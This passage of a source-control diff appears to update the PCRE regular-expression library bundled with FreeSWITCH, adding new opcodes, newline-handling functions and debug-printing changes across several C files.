+  OP_CRMINRANGE,     /* 77 */
+
+  OP_CLASS,          /* 78 Match a character class, chars < 256 only */
+  OP_NCLASS,         /* 79 Same, but the bitmap was created from a negative
                            class - the difference is relevant only when a UTF-8
                            character > 255 is encountered. */
 
-  OP_XCLASS,         /* 61 Extended class for handling UTF-8 chars within the
+  OP_XCLASS,         /* 80 Extended class for handling UTF-8 chars within the
                            class. This does both positive and negative. */
 
-  OP_REF,            /* 62 Match a back reference */
-  OP_RECURSE,        /* 63 Match a numbered subpattern (possibly recursive) */
-  OP_CALLOUT,        /* 64 Call out to external function if provided */
+  OP_REF,            /* 81 Match a back reference */
+  OP_RECURSE,        /* 82 Match a numbered subpattern (possibly recursive) */
+  OP_CALLOUT,        /* 83 Call out to external function if provided */
 
-  OP_ALT,            /* 65 Start of alternation */
-  OP_KET,            /* 66 End of group that doesn't have an unbounded repeat */
-  OP_KETRMAX,        /* 67 These two must remain together and in this */
-  OP_KETRMIN,        /* 68 order. They are for groups the repeat for ever. */
+  OP_ALT,            /* 84 Start of alternation */
+  OP_KET,            /* 85 End of group that doesn't have an unbounded repeat */
+  OP_KETRMAX,        /* 86 These two must remain together and in this */
+  OP_KETRMIN,        /* 87 order. They are for groups the repeat for ever. */
 
-  /* The assertions must come before ONCE and COND */
+  /* The assertions must come before BRA, CBRA, ONCE, and COND.*/
 
-  OP_ASSERT,         /* 69 Positive lookahead */
-  OP_ASSERT_NOT,     /* 70 Negative lookahead */
-  OP_ASSERTBACK,     /* 71 Positive lookbehind */
-  OP_ASSERTBACK_NOT, /* 72 Negative lookbehind */
-  OP_REVERSE,        /* 73 Move pointer back - used in lookbehind assertions */
+  OP_ASSERT,         /* 88 Positive lookahead */
+  OP_ASSERT_NOT,     /* 89 Negative lookahead */
+  OP_ASSERTBACK,     /* 90 Positive lookbehind */
+  OP_ASSERTBACK_NOT, /* 91 Negative lookbehind */
+  OP_REVERSE,        /* 92 Move pointer back - used in lookbehind assertions */
 
-  /* ONCE and COND must come after the assertions, with ONCE first, as there's
-  a test for >= ONCE for a subpattern that isn't an assertion. */
+  /* ONCE, BRA, CBRA, and COND must come after the assertions, with ONCE first,
+  as there's a test for >= ONCE for a subpattern that isn't an assertion. */
 
-  OP_ONCE,           /* 74 Once matched, don't back up into the subpattern */
-  OP_COND,           /* 75 Conditional group */
-  OP_CREF,           /* 76 Used to hold an extraction string number (cond ref) */
+  OP_ONCE,           /* 93 Atomic group */
+  OP_BRA,            /* 94 Start of non-capturing bracket */
+  OP_CBRA,           /* 95 Start of capturing bracket */
+  OP_COND,           /* 96 Conditional group */
 
-  OP_BRAZERO,        /* 77 These two must remain together and in this */
-  OP_BRAMINZERO,     /* 78 order. */
+  /* These three must follow the previous three, in the same order. There's a
+  check for >= SBRA to distinguish the two sets. */
 
-  OP_BRANUMBER,      /* 79 Used for extracting brackets whose number is greater
-                           than can fit into an opcode. */
+  OP_SBRA,           /* 97 Start of non-capturing bracket, check empty  */
+  OP_SCBRA,          /* 98 Start of capturing bracket, check empty */
+  OP_SCOND,          /* 99 Conditional group, check empty */
 
-  OP_BRA             /* 80 This and greater values are used for brackets that
-                           extract substrings up to EXTRACT_BASIC_MAX. After
-                           that, use is made of OP_BRANUMBER. */
-};
+  OP_CREF,           /* 100 Used to hold a capture number as condition */
+  OP_RREF,           /* 101 Used to hold a recursion number as condition */
+  OP_DEF,            /* 102 The DEFINE condition */
 
-/* WARNING WARNING WARNING: There is an implicit assumption in pcre.c and
-study.c that all opcodes are less than 128 in value. This makes handling UTF-8
-character sequences easier. */
+  OP_BRAZERO,        /* 103 These two must remain together and in this */
+  OP_BRAMINZERO,     /* 104 order. */
 
-/* The highest extraction number before we have to start using additional
-bytes. (Originally PCRE didn't have support for extraction counts highter than
-this number.) The value is limited by the number of opcodes left after OP_BRA,
-i.e. 255 - OP_BRA. We actually set it a bit lower to leave room for additional
-opcodes. */
+  /* These are backtracking control verbs */
 
-#define EXTRACT_BASIC_MAX  100
+  OP_PRUNE,          /* 105 */
+  OP_SKIP,           /* 106 */
+  OP_THEN,           /* 107 */
+  OP_COMMIT,         /* 108 */
 
+  /* These are forced failure and success verbs */
 
+  OP_FAIL,           /* 109 */
+  OP_ACCEPT,         /* 110 */
+
+  /* This is used to skip a subpattern with a {0} quantifier */
+
+  OP_SKIPZERO        /* 111 */
+};
+
+
 /* This macro defines textual names for all the opcodes. These are used only
 for debugging. The macro is referenced only in pcre_printint.c. */
 
 #define OP_NAME_LIST \
-  "End", "\\A", "\\G", "\\B", "\\b", "\\D", "\\d",                \
-  "\\S", "\\s", "\\W", "\\w", "Any", "Anybyte",                   \
-  "notprop", "prop", "extuni",                                    \
-  "\\Z", "\\z",                                                   \
+  "End", "\\A", "\\G", "\\K", "\\B", "\\b", "\\D", "\\d",         \
+  "\\S", "\\s", "\\W", "\\w", "Any", "AllAny", "Anybyte",         \
+  "notprop", "prop", "\\R", "\\H", "\\h", "\\V", "\\v",           \
+  "extuni",  "\\Z", "\\z",                                        \
   "Opt", "^", "$", "char", "charnc", "not",                       \
   "*", "*?", "+", "+?", "?", "??", "{", "{", "{",                 \
+  "*+","++", "?+", "{",                                           \
   "*", "*?", "+", "+?", "?", "??", "{", "{", "{",                 \
+  "*+","++", "?+", "{",                                           \
   "*", "*?", "+", "+?", "?", "??", "{", "{", "{",                 \
+  "*+","++", "?+", "{",                                           \
   "*", "*?", "+", "+?", "?", "??", "{", "{",                      \
   "class", "nclass", "xclass", "Ref", "Recurse", "Callout",       \
   "Alt", "Ket", "KetRmax", "KetRmin", "Assert", "Assert not",     \
-  "AssertB", "AssertB not", "Reverse", "Once", "Cond", "Cond ref",\
-  "Brazero", "Braminzero", "Branumber", "Bra"
+  "AssertB", "AssertB not", "Reverse",                            \
+  "Once", "Bra", "CBra", "Cond", "SBra", "SCBra", "SCond",        \
+  "Cond ref", "Cond rec", "Cond def", "Brazero", "Braminzero",    \
+  "*PRUNE", "*SKIP", "*THEN", "*COMMIT", "*FAIL", "*ACCEPT",      \
+  "Skip zero"
 
 
 /* This macro defines the length of fixed length operations in the compiled
@@ -668,9 +1404,11 @@
 
 #define OP_LENGTHS \
   1,                             /* End                                    */ \
-  1, 1, 1, 1, 1, 1, 1, 1, 1, 1,  /* \A, \G, \B, \B, \D, \d, \S, \s, \W, \w */ \
-  1, 1,                          /* Any, Anybyte                           */ \
+  1, 1, 1, 1, 1,                 /* \A, \G, \K, \B, \b                     */ \
+  1, 1, 1, 1, 1, 1,              /* \D, \d, \S, \s, \W, \w                 */ \
+  1, 1, 1,                       /* Any, AllAny, Anybyte                   */ \
   3, 3, 1,                       /* NOTPROP, PROP, EXTUNI                  */ \
+  1, 1, 1, 1, 1,                 /* \R, \H, \h, \V, \v                     */ \
   1, 1, 2, 1, 1,                 /* \Z, \z, Opt, ^, $                      */ \
   2,                             /* Char  - the minimum length             */ \
   2,                             /* Charnc  - the minimum length           */ \
@@ -678,12 +1416,15 @@
   /* Positive single-char repeats                            ** These are  */ \
   2, 2, 2, 2, 2, 2,              /* *, *?, +, +?, ?, ??      ** minima in  */ \
   4, 4, 4,                       /* upto, minupto, exact     ** UTF-8 mode */ \
+  2, 2, 2, 4,                    /* *+, ++, ?+, upto+                      */ \
   /* Negative single-char repeats - only for chars < 256                   */ \
   2, 2, 2, 2, 2, 2,              /* NOT *, *?, +, +?, ?, ??                */ \
   4, 4, 4,                       /* NOT upto, minupto, exact               */ \
+  2, 2, 2, 4,                    /* Possessive *, +, ?, upto               */ \
   /* Positive type repeats                                                 */ \
   2, 2, 2, 2, 2, 2,              /* Type *, *?, +, +?, ?, ??               */ \
   4, 4, 4,                       /* Type upto, minupto, exact              */ \
+  2, 2, 2, 4,                    /* Possessive *+, ++, ?+, upto+           */ \
   /* Character class & ref repeats                                         */ \
   1, 1, 1, 1, 1, 1,              /* *, *?, +, +?, ?, ??                    */ \
   5, 5,                          /* CRRANGE, CRMINRANGE                    */ \
@@ -702,17 +1443,24 @@
   1+LINK_SIZE,                   /* Assert behind                          */ \
   1+LINK_SIZE,                   /* Assert behind not                      */ \
   1+LINK_SIZE,                   /* Reverse                                */ \
-  1+LINK_SIZE,                   /* Once                                   */ \
+  1+LINK_SIZE,                   /* ONCE                                   */ \
+  1+LINK_SIZE,                   /* BRA                                    */ \
+  3+LINK_SIZE,                   /* CBRA                                   */ \
   1+LINK_SIZE,                   /* COND                                   */ \
+  1+LINK_SIZE,                   /* SBRA                                   */ \
+  3+LINK_SIZE,                   /* SCBRA                                  */ \
+  1+LINK_SIZE,                   /* SCOND                                  */ \
   3,                             /* CREF                                   */ \
+  3,                             /* RREF                                   */ \
+  1,                             /* DEF                                    */ \
   1, 1,                          /* BRAZERO, BRAMINZERO                    */ \
-  3,                             /* BRANUMBER                              */ \
-  1+LINK_SIZE                    /* BRA                                    */ \
+  1, 1, 1, 1,                    /* PRUNE, SKIP, THEN, COMMIT,             */ \
+  1, 1, 1                        /* FAIL, ACCEPT, SKIPZERO                 */
 
 
-/* A magic value for OP_CREF to indicate the "in recursion" condition. */
+/* A magic value for OP_RREF to indicate the "any recursion" condition. */
 
-#define CREF_RECURSE  0xffff
+#define RREF_ANY  0xffff
 
 /* Error code numbers. They are given names so that they can more easily be
 tracked. */
@@ -722,7 +1470,8 @@
        ERR20, ERR21, ERR22, ERR23, ERR24, ERR25, ERR26, ERR27, ERR28, ERR29,
        ERR30, ERR31, ERR32, ERR33, ERR34, ERR35, ERR36, ERR37, ERR38, ERR39,
        ERR40, ERR41, ERR42, ERR43, ERR44, ERR45, ERR46, ERR47, ERR48, ERR49,
-       ERR50, ERR51 };
+       ERR50, ERR51, ERR52, ERR53, ERR54, ERR55, ERR56, ERR57, ERR58, ERR59,
+       ERR60, ERR61, ERR62, ERR63, ERR64 };
 
 /* The real format of the start of the pcre block; the index of names and the
 code vector run on as long as necessary after the end. We store an explicit
@@ -744,9 +1493,9 @@
 typedef struct real_pcre {
   pcre_uint32 magic_number;
   pcre_uint32 size;               /* Total that was malloced */
-  pcre_uint32 options;
-  pcre_uint32 dummy1;             /* For future use, maybe */
-
+  pcre_uint32 options;            /* Public options */
+  pcre_uint16 flags;              /* Private flags */
+  pcre_uint16 dummy1;             /* For future use */
   pcre_uint16 top_bracket;
   pcre_uint16 top_backref;
   pcre_uint16 first_byte;
@@ -777,17 +1526,25 @@
   const uschar *fcc;            /* Points to case-flipping table */
   const uschar *cbits;          /* Points to character type table */
   const uschar *ctypes;         /* Points to table of type maps */
+  const uschar *start_workspace;/* The start of working space */
   const uschar *start_code;     /* The start of the compiled code */
   const uschar *start_pattern;  /* The start of the pattern */
+  const uschar *end_pattern;    /* The end of the pattern */
+  uschar *hwm;                  /* High watermark of workspace */
   uschar *name_table;           /* The name/number table */
   int  names_found;             /* Number of entries so far */
   int  name_entry_size;         /* Size of each entry */
+  int  bracount;                /* Count of capturing parens as we compile */
+  int  final_bracount;          /* Saved value after first pass */
   int  top_backref;             /* Maximum back reference */
   unsigned int backref_map;     /* Bitmap of low back refs */
+  int  external_options;        /* External (initial) options */
+  int  external_flags;          /* External flag bits to be set */
   int  req_varyopt;             /* "After variable item" flag for reqbyte */
-  BOOL nopartial;               /* Set TRUE if partial won't work */
-  int  nllen;                   /* 1 or 2 for newline string length */
-  uschar nl[4];                 /* Newline string */
+  BOOL had_accept;              /* (*ACCEPT) encountered */
+  int  nltype;                  /* Newline type */
+  int  nllen;                   /* Newline string length */
+  uschar nl[4];                 /* Newline string when fixed length */
 } compile_data;
 
 /* Structure for maintaining a chain of pointers to the currently incomplete
@@ -805,21 +1562,21 @@
   struct recursion_info *prevrec; /* Previous recursion record (or NULL) */
   int group_num;                /* Number of group that was called */
   const uschar *after_call;     /* "Return value": points after the call in the expr */
-  USPTR save_start;             /* Old value of md->start_match */
+  USPTR save_start;             /* Old value of mstart */
   int *offset_save;             /* Pointer to start of saved offsets */
   int saved_max;                /* Number of saved offsets */
 } recursion_info;
 
-/* When compiling in a mode that doesn't use recursive calls to match(),
-a structure is used to remember local variables on the heap. It is defined in
-pcre_exec.c, close to the match() function, so that it is easy to keep it in
-step with any changes of local variable. However, the pointer to the current
-frame must be saved in some "static" place over a longjmp(). We declare the
-structure here so that we can put a pointer in the match_data structure. NOTE:
-This isn't used for a "normal" compilation of pcre. */
+/* Structure for building a chain of data for holding the values of the subject
+pointer at the start of each subpattern, so as to detect when an empty string
+has been matched by a subpattern - to break infinite loops. */
 
-struct heapframe;
+typedef struct eptrblock {
+  struct eptrblock *epb_prev;
+  USPTR epb_saved_eptr;
+} eptrblock;
 
+
 /* Structure for passing "static" information around between the functions
 doing traditional NFA matching, so that they are thread-safe. */
 
@@ -830,29 +1587,33 @@
   int   *offset_vector;         /* Offset vector */
   int    offset_end;            /* One past the end */
   int    offset_max;            /* The maximum usable for return data */
-  int    nllen;                 /* 1 or 2 for newline string length */
-  uschar nl[4];                 /* Newline string */
+  int    nltype;                /* Newline type */
+  int    nllen;                 /* Newline string length */
+  uschar nl[4];                 /* Newline string when fixed */
   const uschar *lcc;            /* Points to lower casing table */
   const uschar *ctypes;         /* Points to table of type maps */
   BOOL   offset_overflow;       /* Set if too many extractions */
   BOOL   notbol;                /* NOTBOL flag */
   BOOL   noteol;                /* NOTEOL flag */
   BOOL   utf8;                  /* UTF8 flag */
+  BOOL   jscript_compat;        /* JAVASCRIPT_COMPAT flag */
   BOOL   endonly;               /* Dollar not before final \n */
   BOOL   notempty;              /* Empty string match not wanted */
   BOOL   partial;               /* PARTIAL flag */
   BOOL   hitend;                /* Hit the end of the subject at some point */
+  BOOL   bsr_anycrlf;           /* \R is just any CRLF, not full Unicode */
   const uschar *start_code;     /* For use when recursing */
   USPTR  start_subject;         /* Start of the subject string */
   USPTR  end_subject;           /* End of the subject string */
-  USPTR  start_match;           /* Start of this match attempt */
+  USPTR  start_match_ptr;       /* Start of matched string */
   USPTR  end_match_ptr;         /* Subject position at end match */
   int    end_offset_top;        /* Highwater mark at end of match */
   int    capture_last;          /* Most recent capture number */
   int    start_offset;          /* The start offset value */
+  eptrblock *eptrchain;         /* Chain of eptrblocks for tail recursions */
+  int    eptrn;                 /* Next free eptrblock */
   recursion_info *recursive;    /* Linked list of recursion data */
   void  *callout_data;          /* To pass back to callouts */
-  struct heapframe *thisframe;  /* Used only when compiling for no recursion */
 } match_data;
 
 /* A similar structure is used for the same purpose by the DFA matching
@@ -865,8 +1626,9 @@
   const uschar *tables;         /* Character tables */
   int   moptions;               /* Match options */
   int   poptions;               /* Pattern options */
-  int    nllen;                 /* 1 or 2 for newline string length */
-  uschar nl[4];                 /* Newline string */
+  int    nltype;                /* Newline type */
+  int    nllen;                 /* Newline string length */
+  uschar nl[4];                 /* Newline string when fixed */
   void  *callout_data;          /* To pass back to callouts */
 } dfa_match_data;
 
@@ -876,7 +1638,7 @@
 #define ctype_letter  0x02
 #define ctype_digit   0x04
 #define ctype_xdigit  0x08
-#define ctype_word    0x10   /* alphameric or '_' */
+#define ctype_word    0x10   /* alphanumeric or '_' */
 #define ctype_meta    0x80   /* regexp meta char or zero (end pattern) */
 
 /* Offsets for the bitmap tables in pcre_cbits. Each table contains a set
@@ -904,10 +1666,12 @@
 #define tables_length (ctypes_offset + 256)
 
 /* Layout of the UCP type table that translates property names into types and
-codes. */
+codes. Each entry used to point directly to a name, but to reduce the number of
+relocations in shared libraries, it now has an offset into a single string
+instead. */
 
 typedef struct {
-  const char *name;
+  pcre_uint16 name_offset;
   pcre_uint16 type;
   pcre_uint16 value;
 } ucp_type_table;
@@ -925,6 +1689,7 @@
 
 extern const int    _pcre_utf8_table1_size;
 
+extern const char   _pcre_utt_names[];
 extern const ucp_type_table _pcre_utt[];
 extern const int _pcre_utt_size;
 
@@ -937,14 +1702,43 @@
 one of the exported public functions. They have to be "external" in the C
 sense, but are not part of the PCRE public API. */
 
-extern int         _pcre_ord2utf8(int, uschar *);
-extern real_pcre * _pcre_try_flipped(const real_pcre *, real_pcre *,
-                     const pcre_study_data *, pcre_study_data *);
-extern int         _pcre_ucp_findprop(const unsigned int, int *, int *);
-extern int         _pcre_ucp_othercase(const int);
-extern int         _pcre_valid_utf8(const uschar *, int);
-extern BOOL        _pcre_xclass(int, const uschar *);
+extern BOOL         _pcre_is_newline(const uschar *, int, const uschar *,
+                      int *, BOOL);
+extern int          _pcre_ord2utf8(int, uschar *);
+extern real_pcre   *_pcre_try_flipped(const real_pcre *, real_pcre *,
+                      const pcre_study_data *, pcre_study_data *);
+extern int          _pcre_valid_utf8(const uschar *, int);
+extern BOOL         _pcre_was_newline(const uschar *, int, const uschar *,
+                      int *, BOOL);
+extern BOOL         _pcre_xclass(int, const uschar *);
 
+
+/* Unicode character database (UCD) */
+
+typedef struct {
+  uschar script;
+  uschar chartype;
+  pcre_int32 other_case;
+} ucd_record;
+
+extern const ucd_record  _pcre_ucd_records[];
+extern const uschar      _pcre_ucd_stage1[];
+extern const pcre_uint16 _pcre_ucd_stage2[];
+extern const int         _pcre_ucp_gentype[];
+
+
+/* UCD access macros */
+
+#define UCD_BLOCK_SIZE 128
+#define GET_UCD(ch) (_pcre_ucd_records + \
+        _pcre_ucd_stage2[_pcre_ucd_stage1[(ch) / UCD_BLOCK_SIZE] * \
+        UCD_BLOCK_SIZE + ch % UCD_BLOCK_SIZE])
+
+#define UCD_CHARTYPE(ch)  GET_UCD(ch)->chartype
+#define UCD_SCRIPT(ch)    GET_UCD(ch)->script
+#define UCD_CATEGORY(ch)  _pcre_ucp_gentype[UCD_CHARTYPE(ch)]
+#define UCD_OTHERCASE(ch) (ch + GET_UCD(ch)->other_case)
+
 #endif
 
 /* End of pcre_internal.h */

Modified: freeswitch/branches/seven/libs/pcre/pcre_maketables.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_maketables.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_maketables.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -45,7 +45,10 @@
 
 
 #ifndef DFTABLES
-#include "pcre_internal.h"
+#  ifdef HAVE_CONFIG_H
+#  include "config.h"
+#  endif
+#  include "pcre_internal.h"
 #endif
 
 
@@ -130,7 +133,7 @@
   meta-character, which in this sense is any character that terminates a run
   of data characters. */
 
-  if (strchr("*+?{^.$|()[", i) != 0) x += ctype_meta;
+  if (strchr("\\*+?{^.$|()[", i) != 0) x += ctype_meta;
   *p++ = x;
   }
 

Copied: freeswitch/branches/seven/libs/pcre/pcre_newline.c (from rev 14471, freeswitch/trunk/libs/pcre/pcre_newline.c) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_newline.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/pcre_newline.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,162 @@
+/*************************************************
+*      Perl-Compatible Regular Expressions       *
+*************************************************/
+
+/* PCRE is a library of functions to support regular expressions whose syntax
+and semantics are as close as possible to those of the Perl 5 language.
+
+                       Written by Philip Hazel
+           Copyright (c) 1997-2009 University of Cambridge
+
+-----------------------------------------------------------------------------
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the name of the University of Cambridge nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+-----------------------------------------------------------------------------
+*/
+
+
+/* This module contains internal functions for testing newlines when more than
+one kind of newline is to be recognized. When a newline is found, its length is
+returned. In principle, we could implement several newline "types", each
+referring to a different set of newline characters. At present, PCRE supports
+only NLTYPE_FIXED, which gets handled without these functions, NLTYPE_ANYCRLF,
+and NLTYPE_ANY. The full list of Unicode newline characters is taken from
+http://unicode.org/unicode/reports/tr18/. */
+
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include "pcre_internal.h"
+
+
+
+/*************************************************
+*      Check for newline at given position       *
+*************************************************/
+
+/* It is guaranteed that the initial value of ptr is less than the end of the
+string that is being processed.
+
+Arguments:
+  ptr          pointer to possible newline
+  type         the newline type
+  endptr       pointer to the end of the string
+  lenptr       where to return the length
+  utf8         TRUE if in utf8 mode
+
+Returns:       TRUE or FALSE
+*/
+
+BOOL
+_pcre_is_newline(USPTR ptr, int type, USPTR endptr, int *lenptr, BOOL utf8)
+{
+int c;
+if (utf8) { GETCHAR(c, ptr); } else c = *ptr;
+
+if (type == NLTYPE_ANYCRLF) switch(c)
+  {
+  case 0x000a: *lenptr = 1; return TRUE;             /* LF */
+  case 0x000d: *lenptr = (ptr < endptr - 1 && ptr[1] == 0x0a)? 2 : 1;
+               return TRUE;                          /* CR */
+  default: return FALSE;
+  }
+
+/* NLTYPE_ANY */
+
+else switch(c)
+  {
+  case 0x000a:                                       /* LF */
+  case 0x000b:                                       /* VT */
+  case 0x000c: *lenptr = 1; return TRUE;             /* FF */
+  case 0x000d: *lenptr = (ptr < endptr - 1 && ptr[1] == 0x0a)? 2 : 1;
+               return TRUE;                          /* CR */
+  case 0x0085: *lenptr = utf8? 2 : 1; return TRUE;   /* NEL */
+  case 0x2028:                                       /* LS */
+  case 0x2029: *lenptr = 3; return TRUE;             /* PS */
+  default: return FALSE;
+  }
+}
+
+
+
+/*************************************************
+*     Check for newline at previous position     *
+*************************************************/
+
+/* It is guaranteed that the initial value of ptr is greater than the start of
+the string that is being processed.
+
+Arguments:
+  ptr          pointer to possible newline
+  type         the newline type
+  startptr     pointer to the start of the string
+  lenptr       where to return the length
+  utf8         TRUE if in utf8 mode
+
+Returns:       TRUE or FALSE
+*/
+
+BOOL
+_pcre_was_newline(USPTR ptr, int type, USPTR startptr, int *lenptr, BOOL utf8)
+{
+int c;
+ptr--;
+#ifdef SUPPORT_UTF8
+if (utf8)
+  {
+  BACKCHAR(ptr);
+  GETCHAR(c, ptr);
+  }
+else c = *ptr;
+#else   /* no UTF-8 support */
+c = *ptr;
+#endif  /* SUPPORT_UTF8 */
+
+if (type == NLTYPE_ANYCRLF) switch(c)
+  {
+  case 0x000a: *lenptr = (ptr > startptr && ptr[-1] == 0x0d)? 2 : 1;
+               return TRUE;                         /* LF */
+  case 0x000d: *lenptr = 1; return TRUE;            /* CR */
+  default: return FALSE;
+  }
+
+else switch(c)
+  {
+  case 0x000a: *lenptr = (ptr > startptr && ptr[-1] == 0x0d)? 2 : 1;
+               return TRUE;                         /* LF */
+  case 0x000b:                                      /* VT */
+  case 0x000c:                                      /* FF */
+  case 0x000d: *lenptr = 1; return TRUE;            /* CR */
+  case 0x0085: *lenptr = utf8? 2 : 1; return TRUE;  /* NEL */
+  case 0x2028:                                      /* LS */
+  case 0x2029: *lenptr = 3; return TRUE;            /* PS */
+  default: return FALSE;
+  }
+}
+
+/* End of pcre_newline.c */

Modified: freeswitch/branches/seven/libs/pcre/pcre_ord2utf8.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_ord2utf8.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_ord2utf8.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -41,6 +41,9 @@
 /* This file contains a private PCRE function that converts an ordinal
 character value into a UTF8 string. */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
 
 #include "pcre_internal.h"
 
@@ -62,6 +65,7 @@
 int
 _pcre_ord2utf8(int cvalue, uschar *buffer)
 {
+#ifdef SUPPORT_UTF8
 register int i, j;
 for (i = 0; i < _pcre_utf8_table1_size; i++)
   if (cvalue <= _pcre_utf8_table1[i]) break;
@@ -73,6 +77,11 @@
  }
 *buffer = _pcre_utf8_table2[i] | cvalue;
 return i + 1;
+#else
+(void)(cvalue);  /* Keep compiler happy; this function won't ever be */
+(void)(buffer);  /* called when SUPPORT_UTF8 is not defined. */
+return 0;
+#endif
 }
 
 /* End of pcre_ord2utf8.c */

Modified: freeswitch/branches/seven/libs/pcre/pcre_printint.src (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_printint.src	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_printint.src	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2005 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -49,9 +49,23 @@
 compiled regex for debugging purposes. */
 
 
+/* Macro that decides whether a character should be output as a literal or in
+hexadecimal. We don't use isprint() because that can vary from system to system
+(even without the use of locales) and we want the output always to be the same,
+for testing purposes. This macro is used in pcretest as well as in this file. */
+
+#ifdef EBCDIC
+#define PRINTABLE(c) ((c) >= 64 && (c) < 255)
+#else
+#define PRINTABLE(c) ((c) >= 32 && (c) < 127)
+#endif
+
+/* The table of operator names. */
+
 static const char *OP_names[] = { OP_NAME_LIST };
 
 
+
 /*************************************************
 *       Print single- or multi-byte character    *
 *************************************************/
@@ -61,9 +75,15 @@
 {
 int c = *ptr;
 
+#ifndef SUPPORT_UTF8
+utf8 = utf8;  /* Avoid compiler warning */
+if (PRINTABLE(c)) fprintf(f, "%c", c); else fprintf(f, "\\x%02x", c);
+return 0;
+
+#else
 if (!utf8 || (c & 0xc0) != 0xc0)
   {
-  if (isprint(c)) fprintf(f, "%c", c); else fprintf(f, "\\x%02x", c);
+  if (PRINTABLE(c)) fprintf(f, "%c", c); else fprintf(f, "\\x%02x", c);
   return 0;
   }
 else
@@ -92,6 +112,7 @@
   if (c < 128) fprintf(f, "\\x%02x", c); else fprintf(f, "\\x{%x}", c);
   return a;
   }
+#endif
 }
 
 
@@ -105,11 +126,11 @@
 {
 #ifdef SUPPORT_UCP
 int i;
-for (i = _pcre_utt_size; i >= 0; i--)
+for (i = _pcre_utt_size - 1; i >= 0; i--)
   {
   if (ptype == _pcre_utt[i].type && pvalue == _pcre_utt[i].value) break;
   }
-return (i >= 0)? _pcre_utt[i].name : "??";
+return (i >= 0)? _pcre_utt_names + _pcre_utt[i].name_offset : "??";
 #else
 /* It gets harder and harder to shut off unwanted compiler warnings. */
 ptype = ptype * pvalue;
@@ -124,10 +145,13 @@
 *************************************************/
 
 /* Make this function work for a regex with integers either byte order.
-However, we assume that what we are passed is a compiled regex. */
+However, we assume that what we are passed is a compiled regex. The
+print_lengths flag controls whether offsets and lengths of items are printed.
+They can be turned off from pcretest so that automatic tests on bytecode can be
+written that do not depend on the value of LINK_SIZE. */
 
 static void
-pcre_printint(pcre *external_re, FILE *f)
+pcre_printint(pcre *external_re, FILE *f, BOOL print_lengths)
 {
 real_pcre *re = (real_pcre *)external_re;
 uschar *codestart, *code;
@@ -158,18 +182,11 @@
   int c;
   int extra = 0;
 
-  fprintf(f, "%3d ", (int)(code - codestart));
+  if (print_lengths)
+    fprintf(f, "%3d ", (int)(code - codestart));
+  else
+    fprintf(f, "    ");
 
-  if (*code >= OP_BRA)
-    {
-    if (*code - OP_BRA > EXTRACT_BASIC_MAX)
-      fprintf(f, "%3d Bra extra\n", GET(code, 1));
-    else
-      fprintf(f, "%3d Bra %d\n", GET(code, 1), *code - OP_BRA);
-    code += _pcre_OP_lengths[OP_BRA];
-    continue;
-    }
-
   switch(*code)
     {
     case OP_END:
@@ -203,6 +220,15 @@
     fprintf(f, "\n");
     continue;
 
+    case OP_CBRA:
+    case OP_SCBRA:
+    if (print_lengths) fprintf(f, "%3d ", GET(code, 1));
+      else fprintf(f, "    ");
+    fprintf(f, "%s %d", OP_names[*code], GET2(code, 1+LINK_SIZE));
+    break;
+
+    case OP_BRA:
+    case OP_SBRA:
     case OP_KETRMAX:
     case OP_KETRMIN:
     case OP_ALT:
@@ -213,33 +239,47 @@
     case OP_ASSERTBACK_NOT:
     case OP_ONCE:
     case OP_COND:
+    case OP_SCOND:
     case OP_REVERSE:
